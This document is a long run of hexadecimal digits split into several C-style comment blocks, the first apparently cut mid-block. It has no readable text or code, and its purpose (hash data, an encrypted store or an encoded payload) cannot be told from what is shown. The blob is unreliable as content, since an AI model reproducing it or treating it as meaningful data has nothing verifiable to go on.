8da2cc156ce1a7aa19da1c1a895d74fb8d98e688654cba143c8d06a8643a8871ad4e252256e3ba38a17003c6d397b6cc0efd33d5fb9f1c033fd3b2929a7460346319f34c7ce3a851924178d0788a723266625aeb601aa94a69103b66dc62114f18cf4c40c1434a70e3e49b87fca22b49f9c8cfe0c73af01312f92fc06e628b5da7a0966d9a3c723b20bd7b78de81a96cd12a2b47325b23e1294505b0e3888c4f64b4606a9175b6585355be69b06fd5be6fdfef1f0b976632c88a8eaf7d9273a143122c63c7b400531cd2ba214e808dd1dd832227ccb86154753d0e9bdf4c54feadd77e9493fe03d820ecd8558418bb711ec09fac5a3fd9b1fefd266adbd86bad01bc260588b94f1b7ee79dc2c1f93cb2d59f4b6a202fb885ba180387f2a693bf438ceff1ffd8d656f4e6828f5cec4aacac84be8a31bdfb15fcc91c201a6f9235b3b5b3112bd550b7eaf8c3cd3932125d4d45a589d8c73ebe234fe921380623eae30774016fc93502b70885c59bc380fb0577db753689d3bde841b7f28de1e5e9ac6f73bcfc5518972e19b241e45829947c6c38f4cbd8824487b3373056e8ae799437fbd997e357ee4a961be4203b22ecf44b7e784a06aee56404fc7fc1d1fb181e1fa45dd56ed0b22e71ed903c86092cef4556f3615696642ab1592a9c8b6c0ca3352c6d59b66593287eead8468304fb58d9b41ce9c815abf44a6c955bc078f1ffe4497258c7062db825c43791552dc0eccd6a51244c246d9441f5f046363d0c94592d64585a0415f1727a8b9cb0613e0b21376c176e89cba34575666b29c2af32ff7aecacc68fff0fee572a61f5674c3d63bdd8a612cddc05f03814cdf1681f90bc79085803c985e78bd31a57bd108d21562d9b84bb3bb503d2d45e4c987822949cd0ad4ecff802455cb8432b12c263095935956ad04701a7bf78bb050c3f880c57b8a0588595affe487897be99e61415d1acaf651738a9d072e64e2eac118b65faeec82f9913b6c4e95d6b96b335d4c110c12d95728beea8c855d65a4ef548869303b90293ee4547f4a9e83d4ca2304d9f506e2b84a4c0cb081e6be77cd1c55dbe77b85037d71f3c408bb03b2568c95d8ed037436c577656da6be67826c9d8478face373354638ea1e717d50a78e834a52db46c82a3877c991884e81219623fa5769362faa32de2e20ee428636cca0954d46eb40a9d1c5fc1ba7b4d0de7ffe22d7ad3af593f8a2f41ce9fb83235c0c238294152d77b00633b467584bcb5c11fe418ade4d3a9b0ed4733026dd8a5fbc88cecb2b85a81cad2f270b5af98f485c3293a3026fc81281f34b231e1ab0439cc11fa7124aac28f42f848967e6de37a593b9c1fe96d8d43c05b0521984ff1d311ce513713ad3da435e710d3100f9421c2bad7ff5cb055f6d3ff2b49d92fadb1a0ed61f6c3c478828f6f56759599c2da2d7624b09303d20439f31984fbc7dbe76e272d44cefd8b98a1d59f6f5296e57026493d7cf6e09141ecc0d8f4071c132fe8756e5411877bc8af59cf26efc942e24cb4f09e27cd3984383aa17941e6431fb42d05b624c27b810dd94a2b11bf8460f4efa00f1d8d3dfbd23d375273a0b19dd8724933c390ba3bbb9f1f845326e7b6024517796dede277523e41c38a5425dfc35a995e4708dec9a021d61222823469c30cbfb1e9b294f2916ee3dd622937b1dc762973b1c17b4a78007e537b1398c4fe3764415f4f01290c79982dd984de9688eb43cd9a33b48632bab69db83634ae4a60f5a685be669b204c222d7870a473d68c1a9f693984fc8073418abe0ddcc9abcff02595615558b45aa5feb1930201ccbf9ce41e59bed8b5ca9057f809462724e8a3b20951a05cc3090487ac9eebbedcbd1bcc087422ae821fc83857b31d4d15416f50eb6a3d26f5f29c4d883cc1e62f33fffebe3f9e94842e9942ea4b761c1d409a69e37ddd438087b62bd71b94344bcb3bb1a658966d798f4caca3997bc9aa382f4154*/
/*67f92697b91a9ccab7b09f1f11a18f1407e2f12e671855c695187710ba399e6e21e35895bf14c43f6ccefd43ac55e9c909e48e13f4df745307864eb6873afdbcb39ef400faf6f5f95282f1bec46a9dc610a533e3442702a3cf0b9c2cd772ed8a607a8ec78ae54fb53bc8d025ab9126674f882f700ab78cffc94fb4b92e28ab97bd37d2dc0c533f664e392dcb4fe5f0a4be43ac70b7e2aa5ad6e7de5f4c20a23c1ef69e951c34aa324ec7e797c83f79eb719665faff0079263ba5f14faa6b8b5f96fad0c42b08cf2ee809990030ead7c5a9ae81cc9e5eeb5d050d8a0151250e337f0c429087ab14516e2a933001abeda219d230a4231e9e39cb371b90f82d59525870f46ed4d2ad48e8fa5e319c08420e9a89d48397d18db2434d3c7b419cfe4057056070a3d3c73cd6c364c674a3265a0af3a9936b74962b1e25c53bd9c5649e98bdc85b4c6225a6f091882c1d1832447233588b67c37270bf9c226139e559096e8cc9fc5586d419df224f171441e272d9e5b9464dda494bb598e05635e2a074665386f88d85e38441fd3234cc5702b5535c582ae7e043857f2304fb51d0add29f1105b83b62695fd59a0506a538ed2d40f59eac6558f509aae789b4bb4e5edc7612bdb3700ffde615cb5c50ca1e441e28e544855e74ba016b70f883e276e14c830c92b368826c7c0c9b58f03ed46c1230bbb5534ba334aee01d312e39b602e020767f6e3913314a67db643de592157d32d5048089a4546af8c79ce2b90a0674dfef3dd05f689f136ad1bce94757195d97c3b774dc28602f73e7ee4851da9b2a8b0190434583268641b10ab4bc00d47c97bb765c05e9121c694efe9c224fd509abb9ff904e6d82a9d3c13d729a26cdbb0cfa2609312e79e2b6318b382872ca4fd79a78aefef59b2233bb2fccfafeeb9047ca9624fd20c645c1139b5cb3514b2192eab9d59cd93e29ac5d89e40e4edad2eb01daf608dd6cf9af0c4c337992d49aabc778eb476f593ccdd2c6e5f33939b37da1f0fd2091d5cfc78a342794433c16b528c342da5499f422c57099311b9e609234090e1a196b8263b9707643ba16af2360f0ec05b3791b8f1aedd219938eedf71dad40161193ad3399433b4d97b3f2565934f35ef9627b27f98ad1c2e8682853a94de72caade1dcaf6ebe6bf2a6a626ad34ab532083e80dc822c93af504503abf8ee078b15ae10d42bd863c738f88f047545cfafbfcb792fb7b6fbd3457720b070960626df6eedc413caba65a0ba19739b120173b248b2fcc6a7eb9328b5d6817b00ca83da7b2629d2777e0a6f0e2a19ea2b6a7beb53fa6e5deb0e8a4fd7b17a984ae70f372a4fe612208803b7c3d09de57a0124f34a8ee55caded472d91353a4f6a7445c2bdedf94c0c8af02274de3b66b36bde5ad4fe6767e69b2167b79d6d95e0a3c8a2777c439eb434cf324f2800992de94f04fc3d27c2a1d2ff623613f08c38d80af2c31dcaebcde4774c73c5e0e762e6a455687774908a38177d9e7f76d981649015f143ef175f44d52388f8cb828a371735a4a295a1708b689ac585b884dd4a98fe441c24ef8e0722dbf27946e894144f369502f270e8f49692be4b84d022393790f06179a4d6c7dda7feab9648c5c41881bc4ee4da60535666f0fef9584c8212a6c9a73b90500454a0cbf20024b2259aa4337e12a13af1d35a47f0edd18bb5f8362b3695e7515404c6d5bdd2a8287a719a1805da086b6e90d43bcde603778c9aa9becb616c91599ee50bdee5d53ea7ab2d87491da9b9e81082a07e4970328beb77d5081064a382594e212cb1dc818d545df30188f8f78a5adad45d22542cb39b1e10150a0642333a60a453b5d91e14e5d5f3f23bc12d6223494e1674d6e1b1c428719965fbeb2dfb298a1c554d64dfa1fff767df62e32027a98dc53765324ddbca15925de22394acdd97b8be59e1f291df1823c9baae33c6ccc410fabb3bef674e1605b4b3bd67b44edecbd59192662463a29f45f6492badac1a975b13004a45bf459288111d80078519d7364b5f7dbde3955caf46a1388039565eb4ea3c1de6e50a7f27b1a4eb487bd45716df3540c5fda18d18a9ce9b8f0efe54f33e353e9844c10bd641aeb3dc363634a6f5a5c903977d0d7af58748bd4acbe367d649ed055070f1cedb172ed36dab391f5dfca8c35da9fb15d0b31c6d4d6ccddd32d89d8d0f69ace32f71fb30a730d841d9b28d3fcba902a5ca872ea17c410948cc8b339449bf6d14add328b6b4e168b0be1856f8c864cb58162195fc1656bd1511410cb453e8f7a0963bafb53d39c7e12aa3fc5e859428922d927d3691149b188977f379ec79b40090717fccd506a4316e33fcd6305006875ce6b92a0832ba3897a09433f55d86df1a92cb65a135b8f31e359ee039256b96757d46ef4729779a4e5d407222f89b79befd774024b4ada261832df48bb605dcc4521eed872b33530231226138d3f8d68e3011e0f90573c1fd558dadeda291d31dc35bb62fdbcdb78d4b8b6fb757ac60087897dbac7a40dceabd7a5e2b64b6e189edfca376124b14a948ad3a08d0bbf554f35b88ac67f1e2278c6100a6fe8a8c5c942854212198ad067a2edf6299b6d1f7feae51fc0953fc645dc560a6ddab88054980b54e4be9664cd07bced463efe784a1cca0d4d0b7490c83b2807f3a09776c7a381c6112dde6660f7d3f55b94b3cac4d0891d37f6074126757231c03f82927609c58e790b30bb25bdee2653f523de81ea505686c3f7553fbc82d82280484515d33c870e4516a8f7230d87a53491a98cb46958ec120517dc5fa8c83c24098bb77b992690e34*/
/*9aaf7c65ec13d9f272e9c084095b853879a0f985eeed1965dd6b7b304f6956bff59f6d4367f9f0ae4d1b9a274c2d1ad1d48c4aa26acb85327e5c27fdd337337c155e1921c2039a0e224ee9458bc625bf7055f7125c0ea8031afaab73be58e476db1065ff8dc273dc2a1ecfa917c45c8b965afd1cd681554847ffeabcadb78abb8abb8d559fc03a367d10e6ccab6bb691f698ed9f606de9f85e2438eb8cfd5f608641cb2ab394082ba38b5a1726463dc5afaee563d6153b1155a3644a58409f7a2cde0839521fb7fe0e215873537eee7b779ab1dfe2114d4e711f2fdf767829b44f053affd8c1e2bf1678f4b9acb8f134f4484139993a77012f2acde86746b86427e9f8cef185e96ebfc46f2b4a857a53a38913f1555943ad4d524d6958623631ee6d699adf0bdd1cb4e195b6780c212f3c0140904be14fa61f106b9c3040cf39f46ca14f2947003049e69f3b266e0fafa5356823bfa35e1d2ff0365f15b02d16485dc186ab0e78124b5d8ed5da9d1ef38e6f713d565b5458807f9aeb27cf4616b4c48e5ec5044d77dbbbe6859aea708726728bbaae96e55c5a74129d9dfe13d18e64f480fd4bc1136adee9d2ce144efe719dd08dd1508eebd4ad7fa5dfd1e4afe468d0ecec59c9a46c78aeee779a1e42642b7beeb56b2587f408c4c759f85a2a97a79a7ae481c11c1ee930dfe8b7dcc7d99d0f7f8d502571c5e3e785bcab01ed42964fab75162158916e463218eafa1836c2171c47adade677efa24dfe54ec7e91ad749e4a668e44e560f2fe0bb1b78fe33af033240d83ced6c4d1564255eba6256b1cc2cfee3ee2aaaeae6d1174f20fb5b88fcd536935732b2f7310a4f8cdb33fc1551d7a840fa166f6091248d63bdda44163e2b00cf2f8f5d95f1ead0d76b3536212d315801c37022898db6ea4a88402ed185b0081436e9a8b59e50ca629801beef524fde06b7708d14b2ff865ee9399b5aef108416ac3e516622b63184faa635ece783bee16cb399f054d1187d8091aad89e317a8c21fa110a5172fafcd3badddecd13bce237395a375bb902d61f10d2b879ac21a3fd275bf0b1a45a931d3f50bfb6cc90bb91633349bd1e0c76b14f07961f7915b40b94aac4a120e7d3526f56c9efc3ac43f8c21abaf23b43cc5417bed46a79b238fd958ea54784d9dad57cd053ffd2956decb927ab0eeeab09fc763a809ce0467a167c1a674b3a95cb3e3d6b9e61978aa76ea580d22cf71d47bf75f18532ada1863dcdbdf285118c68460df311f0353db49cf1dbaab09d263a317fe56fc01fc6a7131a639a2dd2a3ed49f85774e79d9ea716c2800378451c7f34b5d6c9204dd5d84410f292c415c2ed4a8bfee29434592049631fb9b4d2676aada0b5118f80066b945d077ed4fe03dd0f8d9cefeee8a9d2e206a4a67ada0e41ff02aa17cf3acf12695d5122d2bc2edfe4da19b4b429f5f02dd2caa7f3b86d22a3164a419fc64f31df02a7d5065a699db93306f8408cc490c597d3e6abb876f5b6181906b1f701d29ffe37b97b30265ed0093b4446c3cf1ced3856b68e47f3112ab90adc1d04e40e84e1c4ea2d2316e5afac3091fbcb7bd1b9417861ef2182020e9b5d956e8be06725de23dca2f26710c33ef1985ee65249d5b58912ea4db16b18415a2766aa77cb72214141bb1ad90b3b3d52948b1a73d5e7a78bf0616202264d66c18d1bfb1d2ef92db6b62336c2ed781dd180e249bec0066d82ed81732d1f5699655647a70de9f1c4706190ce5834fabd576af7f6674a2858374b816e766c19670d4b03f9508f306e8158039d7887a2edfa76f6cdb035c6fd4257e29bd6f1d768cd92cbd638d3c6e6d18541b7c53867467e9e1f4a1fcb6e2952cda63e43cce026362f32a6b9a7a545943ccc0b7f9df7738403c3bd4b7b9a323245b6d395bee406faebb5223e9bfac76e6cdcb370d6976b2eb4d17e90f1e45bc1ab937ab73a3a453937541028cfe25001625c83a8daa2df05ecdc10a62f61cbdf8fb924ab37588ea94bee3918d7e61136474c7acfe7ffa27df4cb9636170473d12a1a451da10a6e02a686c73a3d85e74d397f377faa881ebea114a21340bd0c1f09dd6f75c71efdc8e24b75f1073559d4bc31742f14897b465f18cf2d4453e51f10d5c30993bb24f4e5bda4c0868a6ae723a28ed1cda3faaed12ae7ad5c24503778bb2e6bf1861f267c1d4b3e850ba08603d038c499c550e4c89968d02b6545f7491c584ef4ead6838f6bb6ebe7eac810bd7c70ec05a79a5b941e8af2f7a3a72760c6f719580c229e5b3f31fd0b29814da0d679a87aa83ddf5a642fe6881a7563487477494e35bc315385bdc75f2c5b5e3b8066a02208f8c0debb466b731836057d30eb794ecfa153f603f7ed4e02aac8a54d08b0cab6d9ff41f3033f9a7e3b8ed350b302a56516548c9aa7a06d7c75bb30dfb706efe0e24d37271661e40bf9909afd58f562851c43a288831a057dcc00cef3e6c1b65cb0d16c4961e5879765828471063b98d153e730c36f9c38b16ab4630f21d8f462a4afa0ef8ee82dc2545eb4656403b8871ad840dcbb4762e9ae87aa61df196da78b598590ccf9c856fd8710c7b8150bae2aeb69a37a560b85a7dfd9d8d4cf1eea86e03f5079d2dbfb500ecaa3459271c53bb63b0a730e63b95690159459e50630ee7cc50cdbfb1d1baf99e00d538d5ddecf4b995d8f5f5ac8175d79f3072eb67d910f890f4b798f4c6e566313e4729a4dd51bf3eef9a0efebd5d6f940a058c5c97af5bd7674895af6513af9c01d7f66a56a5330c541ebe48797a106a720060335dfd788810b5e7eb804965b2483f17b6f6*/
/*48658beb9d41405d2aeca177e31ceac49bbb91c192946da24b9b8aa3c92c2a9909a9587a26cda3667fa2ea0fef70490df53bcde57fc6b98321b5db699bc891d32d5415c17b448606a675b8f0550938bbc0270f5bacdc8142ab5ced65f2a16649eb96df95364ff9e268ead4f065ae1dd4c6cc0124cfbcf2234167caec49c020ef89aba64ab5e4d24816ab6b4f23726d6d0c114521a72e83e9f7677ad045f0d9034c67bb0d278ba8273d305d0916e45eab19e088e44a7e6e1b9b3fc129b53724320e4f16cc9de1ed98d4ba6e85184a11c343312117644e0581e04622fc3a0f1da7bc00e2ccf183a565cd07cd0b5ea619f0caa3277b3c5ace801c682cc5e0987fc0678067e898c5f3b403696366e389b360dc7bb31343d0c0a5e561fe4b4537549445a0cc416396d033c005c4ec7091a16a806dd5dc73a7d5f8c382832b959bb86212c18fc34f82f807ad22b43d360195e7fa76ece03f94ebc22e9e07783d3c37744f7d9346f55499a84cc8a0cf09f10a507bff39cec509e57d9a5184e04a94db7f186758fdb4b623bc497dfa3ed31bc1c0d3d81bc34c74af1cc6e1d9b925b0ff262927694fb81f07614db6c4d1aa1a7e480f41dc29adb86d9876689f5ba74d51b886f6dc52bd19f72e850309b2ab682f260894812c2689ea07db2a4413df8247c24ec7088a7e6b94cd836920989b218066c36632378f5bc45d031157363dccf9f5f8ee00aba4ca2ce04dac759b76bfab76146c2c1c675f64c4357dd556018b64d32e57907ce27e9713aca254562c0beeeb28a48efac980aba4e39a4ef8f87501a5ff194d130d5bb89c1bc6c9113c3f0e62f3792618e9aa0ac1fd3990d6eef5d976d725e51a21aa1583d4f40d7dd08231891e848d798acb908fb2ad902bb2b5cb3e27ef189adbfd6515b9c1c74aef7995e1f498397c8f5a9781d8d5fc6ab6230e92fa6e50416bed9f8c3a74f640f7ed059334d4dd2d3d8d7356392ecdff54c6713be56c7e11b6f86977e3120322c5545e9b46aee3b9931c636d26d399151024730b2277d47fa39a38e07c7c89a911cb777f8df898240298cbd16d257485f1415046ce1a53d12b3c206b30360f2c10ca523abcc25f43114c8abe4f945349098853494ac7f99a0840e17bbc39853ebb80c96118cdf3b39fcc49af2ac1e77b63d407ace47d17fa5a9c01cb9aeb00fa1eaea9c87c490deb531ae2bdfd3dfaf7e13d4a1467781cc64dcb05894c5f031f13f4f04dede28df79a07dcefd4acfe77f534e0eed9a23fad34d179cae05a7fb9b656273c90ffca4286eacdd54f308b9bd78a27aa52cf8697afa06c6b45cf9775aec6780256d61f651ba8555e4e39886b414dd2f379171019147443027e25f8027e898e5caf7d20f486e4dd36a84b6573536b9211976afedb39b714f228be707d7b193302b560919a4230e5a4af55e4444dcd68395abb2aef3583c4257123ca0587ab135357ed5a2b3ee211a95adb1186e5ed08f26c02e7c9f903246826b7d8b1ae05739ba94c8189519e095b838c6e0b9ff2c085aa63828b99554a63b0c8d9d1bd9a99ccddee403e0f7cfc98e118ae7b15bb28bd1402927f38e3a820d961902d3be3ccf1d6678724d0f72cbfce471e09a1def63b779056de9f40fc32c4e41d40aeceefe37452c4b143aaad9f122396b2c0da340e8f61da8711d9bc746f5eac8447a83e8ff2e1bda18aa779bd3541e5eeaa3351efa69b2e179dbd9297f2fadeced9bc7ef68f642c1ba7bb1bf26b207e183d2837570860a945391cfd027361d0757b50a74e3f17ec76da5fa0575f6b25840c177cde1e711200f0feec9774b45988c7a448029a638531518c189867a5cea63e0be5289528076542cfd73dd5b05cd8c3720de1fde5d818008acc93a55ab5b618518716c8ef0a6aa32833d1f7e290da88fe41043f091cb8d627f1674b390779cb2674d4d61992c8039d7a3f81720e30e282e3e2f94634fdb492162caee6f8b85af7c044a48b38f8170e2f8819eb9c3b3284c01e255937c27a70ba5722984b08feb8d2a22594bb5f339f4462a36f4f35a597ac209b6bb2184a25059363b83fd497c09cf123a91d4ed1bc833653e2eeaeb9e1c0756cb400a3bdc7ad53283933a734ba6cb3ad0f2f8efcfc58d94509526d4605a9af7bef6746659fe7945f6bcc2d96e91bedd1f447a3990fbfd327cd578224e65768b8da5f73326720374cfb7c3628416ee434258631f33ac94c6e53d3bc4aa007ab29b382d5442ab49c85b2ddcb9164f7b258c7c972509deac9f560834451f01641874a98abcde01e9a16bdcd6a229766a7fbeef788b8518a4e2f745cba9b06f16e74c650b9cbe11fece427b05f811433e425a70db7c22d95ef98c4aba364411ceca9db007b7dfd3bf1421e9d479d78a0d4f4fb1aa03e72bb2e287b8f14c711d6a115700dc0e1b39396c12b15288d45a9f0a483f3904ce8bd16213d6e3738c9199f1e788fff4f94bef37c2cf9737c0f2783574e0049eeaab81b4b9d5583f9c6763ac379327bbde0094df76d024b586ff23c83ab8c4b64436762b0c3cb07a9982465f34a92e21ec287dedc6481ce9135e15688eb91971ee3ba53a79dcd230bc6ccfed75e9e057e878c7d7a02cf88c77bdb066a851f8c56628bebd2cd760db6c01e89fbc8170e4c369a0b96f6e70ad4c2a1f5e5dff7d641e2889b64155976bb8698c0114c99f3bbbf0b650a63389ed8c265cc900091d6edea653aac8a9515f4e2e424bc405f9b5090761a0e3b04a56ad72b951c92117c0a5164b3b9b2b675378600c3f8cab92364dc7bddbaa9bf6711b5b41ba1d0d12f69ca18747133b35ab61732ad*/
/*339a4c5ec1a609c6da1793de3f8f275c071d7bd85011a7c80cce9b52b19d200bdf4da01fa60f32efa7ef2f038d016623b74782bf0f144fea1ddecdbe5c3ee8dfd56bdde47e7918a5e4ce6963a72d94dbcce00660afcce0583c2983fb8a3cd8d7a95af4aa849f7172eb61a7a493a345bb0940b201c8f3c87c2e2ef5fda7ef44237fb8ac0943aeae912d1a32115a00f61e842d2526af1d74fe9bbc33812d4225ede28cb7f5997e6fafc99427612f74f3e9532252a72a55b312bd70827db7e0659d8704aa7c28e2a2101afb199abdb5308b74315d598cb6c855eda0beece111ba13ce781c669c8cba54231374fdffaaf1f0f716fdd532ccf0cb18b80bbaafd67ed4bc108df76eade2297d8ba25ab9575f0a688a81d9917943279d36fabe38f6e03b1da78095f064983df464c58ebb69e68b77099eaf006c191fe3cdef182613d662a2fae61c858cc81336eec54960c6ce6d109e8ebd2169d27b4e693c9737b7cdd573dab06935590372a1880144cb18498d6f2ca483f38bc0c666fa9279f4bd25f73ec386d4d934835a018fdca85c5a74e1f9e06d4a3585f316c05f624ba34391b48ed12382a33ecb9e19a8415e73d36ff8b348a6da41ba63e8954e3660c0335214831fc2cec930fed0f1fa3ab4454bceb829cf566b4573b3832ad91aed528ed1bafc0f48a0162569b2f9552cf2ee692d21b741e76ec4ce083f2d5d980a541ee21b2870958c9adc40cdf7e5da47b311a54c8f084d9568f0ef0be7e92ff7926e8d6d8c899efb3f8cb2afd14f9c0f9bb4a1939d32076c91e78be34cbf302ac0f180ced8b675547da7bcf686761a9c13f417c4f89872d31e41fcf2441b8d42e889656655ee86be6d25370d6e073fa11a16846704dda41e17ebdffa718509aa7afcc551be9348a21eea4972e239f1625e7aefd947dd8aead3ee9a07d8d9370b32a70fab3e5da333abad2f2f50ccb861517469e63acee04bdf24756ac147df7e419941223b3b1c6f7102b55c5150ed2ed662bc52f549496457bd0fc8b74929b27bdb946613064c0181d85d9a8689720f75dc9aaba10a5e2cc2d370c60d8acb11c3ac273c478a5fc8314c15433728819209bdaade58a808495c73d24e9f8f1181e9b9526fcec3b440c37d8a3621b5f45aa64acd59a93ba9904cb840a23cf009260069d431891df205b56fb310a3c9b623758603426666d4900cf11f701f8f3e855403dc4053f84d89a2d0fa9e7967ce2767a495e2dfb02b20b0c8362fb5b867314e6e0dfeab93d566a54f01552dc4f5a4ee69a32ba65e16b37fbc652d2103f376f1d48e97f8a0d79e60aa2e0963d4a9d3d4bf6ae549634a0635def8288ebca0d300c91012e179c118f9a7952e0c5b466e4a9f841eb2771d16639a1bab6ce96ac21b75e08add75438b52f5cdb366e54a302aa75ec2eccbdbf514d5c3cb6f37f70beb6197753efdbc624f0b4c745fd6b49a1148511f183c37e39ce1df7f1fd85bb76a2bd282dc47a93beedfd607bae40f345488ac127789b38ba4dafad5cee77c882c6594c370a1b436f2b6e0394f53a10b59b84d3cbb6e06541bd3880899223fd269c99eff7c6e10c8a6887d14a4e4437f40e0ffc49bd3051a1b4915952fa4a820d2240d663c9d41e08e2d0e7fd69a5e6d683e9386556e9c2f9adb91cc2bfa66aef8b72d8f47d22758efe5dee86191cea77b4eb5b3d5a8ff48bfbff3104bf78623a010e721cef164d3343dc87d580bd9121cc263f273406ad53908aa3bcc3f39bb6f7b84ff3cfd47202db6236a57836c6c87bf8d6ae7bfaa744fd1bf0a42cb0824f6bd22f226875d3a17a6a3aa882c44d1625c5e3148196a9295e18bc912927fb29c79ad9eda6db35e8a553192ba3cca3463e0dac1e5bb5dbf785212a5f6ef5410b47771b63fe33bdeef877b2d9bf41a6fb5ce5385ac9e81cb096d632c65f9664bdac41e9162321abac992cd3603bc568ba9350b3a7062aa35f849653e1719c0da404bf57465feab6619c8a8d15b6ad484a233f93bb12a5b12e94ee6837bbd14ab1afdd4a9dd89ac7366e19d411aa5ae415b61315eede164e578ec82b5e9b9bd8cf8ce1b7eebf3e0eb646fb2ada505a4c1d5bf5a42db54971614d2c6ce4d641499332b05a7d176833c02b1909cb971bcc9f60dcb4dc84ed47ec445c384140acd03a4bf56819bb5cfa9ce6b69939448b451f4343044e29415c787856896042f357494aeb3af86c9a2d1c0ff8f499270fd75cfff029fdd22523398081ec744e69c365ca17d18c02c8faf1bd0d5c0e9772c02e16c30c1668288cb3f15bf1c711eef9de3865b4a92c31dfa8b748b18e02e421a19db70940444051c6c3426196f4c15ae0011cdd3a5b8d02792f792bb225072a074a9925eca7927f4bc028ee6f05ef5b795ea7e8e63df11c58fcd36cdb9416e83f380fb526eead04edc5fdb571d43ff1863828217acca29e89f95fe32ffc827ea9e641e59ee94515c5d04458b5151c75771f802c39aceef4c95223095ed53354fccb55e9189a164716800f7358f9e2736a019e67a58db79990fc49f62d392543a637f1bfe37ab1595f34db88f396fb8eabba8d9e51f969bad28b8bbab35af2b55d16fc72ebf6654df5e48160d147c0acb80d4b726b7ae0423391e56c0add3c81d0508b1f8ca7a08897baf98f150b2fd927d2dbff8d55e31dfa90d29331c97ac15cc877408999afc9842e27f4eb6e0819f09dbfd30a81418c9727580189ad1b7a0c43d55993febab8bd2049f9a27caa71017afab2bebe3ecdb43d9a5c74e6785b2913b0f896eb74257c0753d63d15140b12719f1a7869e51fd2542488169673d21a077ff61*/
/*ef27522bcb542f424e3a676288773587a9460ec3d815c6892054c7db670bcbd7068044529034112b031dec24d347d1978c21adea6cc0d763a2347819c92368df7103d8811e0dd9121a7345ed090265a428e2641054808e84bca5a6b8e415019fed70e640bf66708279ea0041d8bd48c2da11916089149f6da3867e4933f6c155d188073ec4902aafab23f007312befef1249cbba051ee0c983a89cc2aeb1081e0175cfeac7ff8d9b370b142e7a8f83c7708c83ce640b3d33091c16694ba48dd421a9ee6a502b829a9657e3a92b98ff3dbd5a0925d62aa294e948b92e58a760afb021d9975e7e734d3718d4b7f0909ac8bc2b3d26aacf9b1b78d321d604ab63440c5f16a1c5afb95cc729d63b5d9cd6c5ca854cbfc5aea641bdd830023b41d65c03df6ec45bde0d17d709aa6f7d85a1b41a09634cf22f4de786bb0fe80f1514eb7b52bc957269eece37af4d5565b5b5f1ebf504b4a97e8e78778c2cf47faab8e06e82cfed78ef4da77667016d8bcff649306e1dcde32b6e62c6c2df2ef4db3ccbe68cc03c9f95abd74a72725c90e2445665a3ceab63e2e09a65061620f704885c31ac7ddd7c73ea2586aeaca9ddd57a0a1c50cae2878bc124137ca73355940e7ed499fb733086fffb8125ff7f6bfc1243a91335b6938f62bfcb63fc3f3d5d38027c27fff1a4e1e5ece0c79f0ef5d932aac40a20defd94102eb8d61c342f6ade72dfb2ae64e8f44dbf3598f485d2be6ad3516ceacaf0501ae77517fa02b6ab8fefba6a502c41a11429b529b71b1e5a1063c67eb97eedeea9a5cdb96b67164ec3e524cbee26bf17b76da02f975ee723c8f56154f712e1e25356ab44ca9f12a1dfb2755746c6605e9a57f910a577067a397cb23b2f1a9450b14731452423d228367a5379d26eb3bf3bdc3b822057c8b9e76779af670d7db4f784cebf15a4c3aa04e2a69940195f196181a8dcee53e4bc70800235a5ffd41d37dbfb1560d7066734f280f0012d2af223f9049ff7e5531e744db68c67e3cca7ae1e698319375be652442cb161ac9011da22de64634c348009854f34743512ad6e51c77162efdb23c81b29c0d43293b194595d9dc961c6b779d5fb80098f930c6d168b19518852c76adfaef60eca85401b426811e895c1943ad07d120e9adf1a51534a74c786d4a84ec04c3ced8f245bdbb650cb9b036a6e2220536d4fdb967c27708535cb01d43ccb678b030cc083375b0bc80f23c606c96719cf27805e4c96b589ac103527621d60a8e9583138f584d0e5877bf80d9ca34268614be01abb6197892ad42eea8cf82da8ff7f590913ee2d288ab4dbe67b02daf92f13e7ef4a2c13b9843e25e6f7fdea44f1728fcadb2620fb65696cc8022eab164f41dc75e74cc72b09eb16e7300f5f385e2890d85683fb3e6d0032eee429dac4f77b9f306d6dd75aea19b35d8245fef51189dfb23a6b6dcc706e8f6c31a5f57161b0c95a4b86bc4f05f5fdc4961ee01c2aa0347cd17ce18a1527de390a5cccdf00ba855a339786e509a34abcf3ebfe825be1b42e996d0f34699c0c4a7c3a22276dcfc41e03616fb94406066e819489e8f78a10cc66e62cc92b988360245040855369eb89796de733d9689f732f8061a92e2218c4ef1d215126cbc20b873655ed8c2ed268bde69a2ded534e7dc10e2cae1c24e1d13cf05b714c8957d8acfb0ef8b4ee02775e7e5cb4e6a9804886356b6431f78f5b7ed8cacf0fcfa83a93f6c5a3fc9231f879daa3eead9d6a005ed381e1ea6dbc8baedef853ba50e668abc931b31aac732d89e3e4ee0e2ec8113d58519828995f2bb2a0426c84efdda24205ca948890fc48565fa7d707ca59469af0336fd17c42229aac5e45a09db28f51f188a69a3fd3fc585b935d4c376bb0faad5f355d020197b91f08a0c03af92341b909d6dafd06637f166f59b59b8e118ae202bd105d67619a10522dd9ae9124ed87adf635e0e3fa575644977fb731486baf23f095a2b72030830903afbf0cdd6ea1cdeb2779f5e524f08352ba918bc29aa7f170baaf82debc7ed89632442c18a523fd4c704f6235f00149f064a2f56f413c3dc2c62dea1c74c99e7c5f9250619060de3563a1d8c3f05fd20e21430c3cf244e5ad79b1c7e6a0ec212a8192c7f19473efa13ea3194dd7a7bdc43fb1bc348f2dbe9446917ca0b8ea231c9d0c878e2323b79fa2dcf0209ae2d6bc8c152b2d142024f129bc7e28e441b17af4df8142f8a0ea24e1f69649c5fea35d2e12c8b45026b3e05e5d6bc1ee22d1ffa0e4108ac07455a7ebbb322a77df4029f90e234b347a2aca0bf8d7663e37aaa5aded5ac7b6488f011a89486bc22269e0f33e542a5279e85c2f32ef94ddabdc17a0a3351b9671250749942ffdb51a725c4a2195fcccee40b8bc906ea4ddc112c31b1a8c399e1ed28d197c1827910b524656fac6425143c5eead5835e229e9a329d5c89f51957e12929976fe1565c49f519599b4f7fad81d4f9c70c199150e3c9c5a68c3f1d4c58cbd21966b3adf6f41c113f55071cdd277b04f283e7975ad35de608561397191faab0e11dbc082831a7a8f33ce5935ef3c06b43bd8f75887043f26c5ff3fafe36ad3aca2f88e97101c5f8f7f4aa54b26aae178e998f3c67e7f7e4bf445843d59635886191e9516c9f18e037bd18f92553f0f281cc7eb9787bcc08863f1b463bca28591bb2d8922e9d536c7c3b8d4fc1786a5e55b6bc157dc61275ea1f8c68f667ba2b7c822ba9b91e57c873ab8ac1adf8e66f1a807c45769bb7659d986d714eb2306966b4411c434c7a0da5dabc330477d81ae9b1c2acc09a6b967368facf241909b*/
